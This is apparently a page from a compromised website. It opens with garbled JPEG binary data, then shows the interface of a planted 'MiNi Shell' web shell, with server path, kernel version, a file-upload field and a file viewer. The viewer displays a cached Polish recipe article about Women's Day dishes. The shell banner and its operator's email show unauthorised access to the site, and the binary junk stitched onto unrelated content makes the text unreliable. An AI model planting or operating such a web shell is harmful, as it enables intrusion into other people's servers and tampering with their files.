JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/frontend/runtime/cache/65/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/frontend/runtime/cache/65/651b5dbbf09f5f1cddcd7e83d83e08ad.bin

a:2:{i:0;a:2:{i:0;s:10527:" 
                    
                    <h3 class="title" itemprop="headline">Kulinarny prezent na Dzień Kobiet</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 19-02-2015, 00:00</strong>
                        <meta itemprop="dateModified" content=" 19-02-2015, 00:00"/>
                        <div class="hide" itemprop="description">
	8 marca to dzień, w kt&oacute;rym każda z kobiet chciałaby, aby ktoś przygotował dla niej niespodziankę, zadbał o nią bądź po prostu okazał uczucie. To doskonały czas, kiedy panowie mają możliwość wykazania się inicjatywą i mogą wypr&oacute;bować swoich sił w kuchni.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="jedzenie.info.pl">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.jedzenie.info.pl/images/loga/jedzenie.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/60444/crop/800x600/a658f91b7d-243796001571974090.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.jedzenie.info.pl/artykuly/szczegoly/60444"/>
                        
                                        </p>

                    <div class="lorem">
                        <p>
	<strong><img alt="Kulinarny prezent na Dzień Kobiet" src="https://common.v-manager.pl/uploads/source/articles/60444/0_upload_0aa8cfc04f.webp" style="width:200px;height:133px;float:left;" loading="lazy" />8 marca to dzień, w którym każda z kobiet chciałaby, aby ktoś przygotował dla niej niespodziankę, zadbał o nią bądź po prostu okazał uczucie. To doskonały czas, kiedy panowie mają możliwość wykazania się inicjatywą i mogą wypróbować swoich sił w kuchni.</strong></p><p>
	Co przygotować, aby zaskoczyć i oczarować swoją drugą połówkę? Zdradzamy kilka prostych przepisów.</p><p>
	Jak głosi stare powiedzenie "przez żołądek do serca", dlatego idealnym prezentem, dla każdej z pań z okazji jej święta jest pyszny posiłek. Nie ma znaczenia czy będzie to pobudka z tacą pożywnego śniadania, słodka przekąska w ciągu dnia, deser czy wyborna kolacja - mówi Rafał Mróz, manager restauracji 2 Światy. Efekt będzie taki sam. W prosty sposób sprawimy, że kobieta poczuje się kochana, pokażemy, że jest ktoś, kto pamięta o jej święcie i chce sprawić jej przyjemność.</p><p>
	<strong>Śniadanie do łóżka</strong></p><p>
	Dobrym pomysłem na szybkie śniadanie, zaserwowane prosto do łóżka jest sałatka z owocami i twarożkiem. Danie ma odpowiednią ilość kalorii, nie jest zbyt ciężkie, a dodaje energii. Prażone ziarna słonecznika dobrze komponują się z owocami, serem i rukolą, tworząc  bardzo apetyczny widok.</p><p>
	<u>Składniki:</u></p><ul>
	<li>
		owoce (mango, truskawki, jabłko, pomarańcze) (w zależności od preferencji; proporcje według własnych upodobań)</li>
	<li>
		twarożek</li>
	<li>
		rukola</li>
	<li>
		ziarna słonecznika</li>
</ul><p>
	<u>Sposób przygotowania</u>: Owoce umyć, obrać ze skórki, pokroić na mniejsze kawałki. Wrzucić do miski. Twarożek rozdrobnić, dodać do owoców razem z rukolą. Patelnię rozgrzać, wrzucić na nią ziarna słonecznika. Prażyć kilka minut, aż nabiorą złotego koloru. Gdy ostygną dodać do sałatki i wymieszać całość. Sałatkę podawać ze świeżym sokiem bądź kawą.</p><p>
	<strong>Słodki przysmak</strong></p><p>
	Wszyscy kochamy słodycze. Szczególnie te, które są zdrowe i nie zawierają chemii. Dlatego kiedy wręczysz ukochanej tuż przed wyjściem do pracy słodki upominek, z pewnością wywoła to uśmiech na jej twarzy. Najważniejszą zasadą dotyczącą deserów jest prostota i minimalizm. Lepiej zdrowiej i mniej. Dobrym pomysłem będą trufle śliwkowo-daktlowe w kakaowej posypce - świetny dodatek do popołudniowej kawy. To błyskawiczny i łatwy w przygotowaniu deser, do którego potrzeba tylko 3 składników:</p><ul>
	<li>
		świeże daktyle (około 30 sztuk)</li>
	<li>
		śliwki suszone lub wędzone (około 10 sztuk)</li>
	<li>
		3-4 łyżki kakao</li>
</ul><p>
	<u>Sposób przygotowania</u>: W palcach uformować kulki ze śliwek. Daktyle zmiksować na pastę.<br />
	Jeśli nie dysponujesz mikserem możesz porwać je na małe kawałki, a następnie ugnieść ręcznie. Tak przygotowaną masą daktylową oblepić śliwki. Do małej miseczki wsypać kakao i obtoczyć w nim kolejno trufle. Gotowe słodycze włożyć na godzinę do lodówki.</p><p>
	<strong>Wieczór we dwoje</strong></p><p>
	Jeśli partnerka dba o linię z pewnością sprawisz jej przyjemność lekkim daniem z ryby i warzyw. Dobrym daniem, robiącym duże wrażenie przy niewielkim nakładzie pracy i koszcie jest pieczony łosoś z warzywami. To ryba, którą trudno przesuszyć i zepsuć. Wystraczy kontrolować czas pieczenia, aby mięso było soczyste i delikatne.</p><p>
	<u>Składniki:</u></p><ul>
	<li>
		Filet z łososia (około 500g)</li>
	<li>
		Pomidory koktajlowe (około 400g)</li>
	<li>
		2 papryki</li>
	<li>
		2 pory</li>
	<li>
		2 szalotki</li>
	<li>
		Rozmaryn, sól, pieprz</li>
	<li>
		Oliwa z oliwek (około 10g)</li>
	<li>
		Kilka ząbków czosnku</li>
</ul><p>
	<u>Sposób przygotowania</u>: Papryki oczyść z gniazd nasiennych i pokrój je na małe kawałki. Szalotki obierz, pokrój na 4-8 części. Usuń zielone liście pora, przekrój go na pół i opłucz. Pokrój na mniejsze części – kawałki o długości 5-7cm. Naczynie żaroodporne natłuść oliwą z oliwek i połóż na niej warzywa (papryki, pory, szalotkę, czosnek). Skrop je oliwą i wstaw do piekarnika nagrzanego do 180 stopni na około 25-35 minut.</p><p>
	Łososia oprusz solą i pieprzem. Posiekaj ząbek czosnku i gałązkę rozmarynu. Natrzyj rybę marynatą. Wyjmij warzywa z piekarnika i połóż na nich łososia (skórą do góry). Dodaj pomidorki koktajlowe. Piecz około 20 minut.</p><p>
	Jeśli nie mamy możliwości przygotowania potraw samodzielnie polecamy wybranie się do restauracji - dodaje Rafał Mróz. By uczcić te święto, wiele z lokali, również 2 Światy przygotowują miłą niespodziankę dla Pań.</p><p>
	Goście mogą liczyć na specjalnie skomponowane na tę okazję menu, atrakcyjne promocje i wyśmienite koktajle.</p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=przepis" class="label label-default">przepis</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Dzień+Kobiet" class="label label-default">Dzień Kobiet</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=przekąska" class="label label-default">przekąska</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=prezent+kulinarny" class="label label-default">prezent kulinarny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=posiłek" class="label label-default">posiłek</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=śniadanie" class="label label-default">śniadanie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=sałatka+z+owocami+i+twarożkiem" class="label label-default">sałatka z owocami i twarożkiem</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=trufle+śliwkowo-daktlowe" class="label label-default">trufle śliwkowo-daktlowe</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=kolacja" class="label label-default">kolacja</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=ryba+z+warzywami" class="label label-default">ryba z warzywami</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.jedzenie.info.pl/artykuly/szczegoly/60444_kulinarny-prezent-na-dzien-kobiet" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_60444";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"d72cae4b989ea2709cc415d1e2fc6323";s:21:"0.82751300 1747741704";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com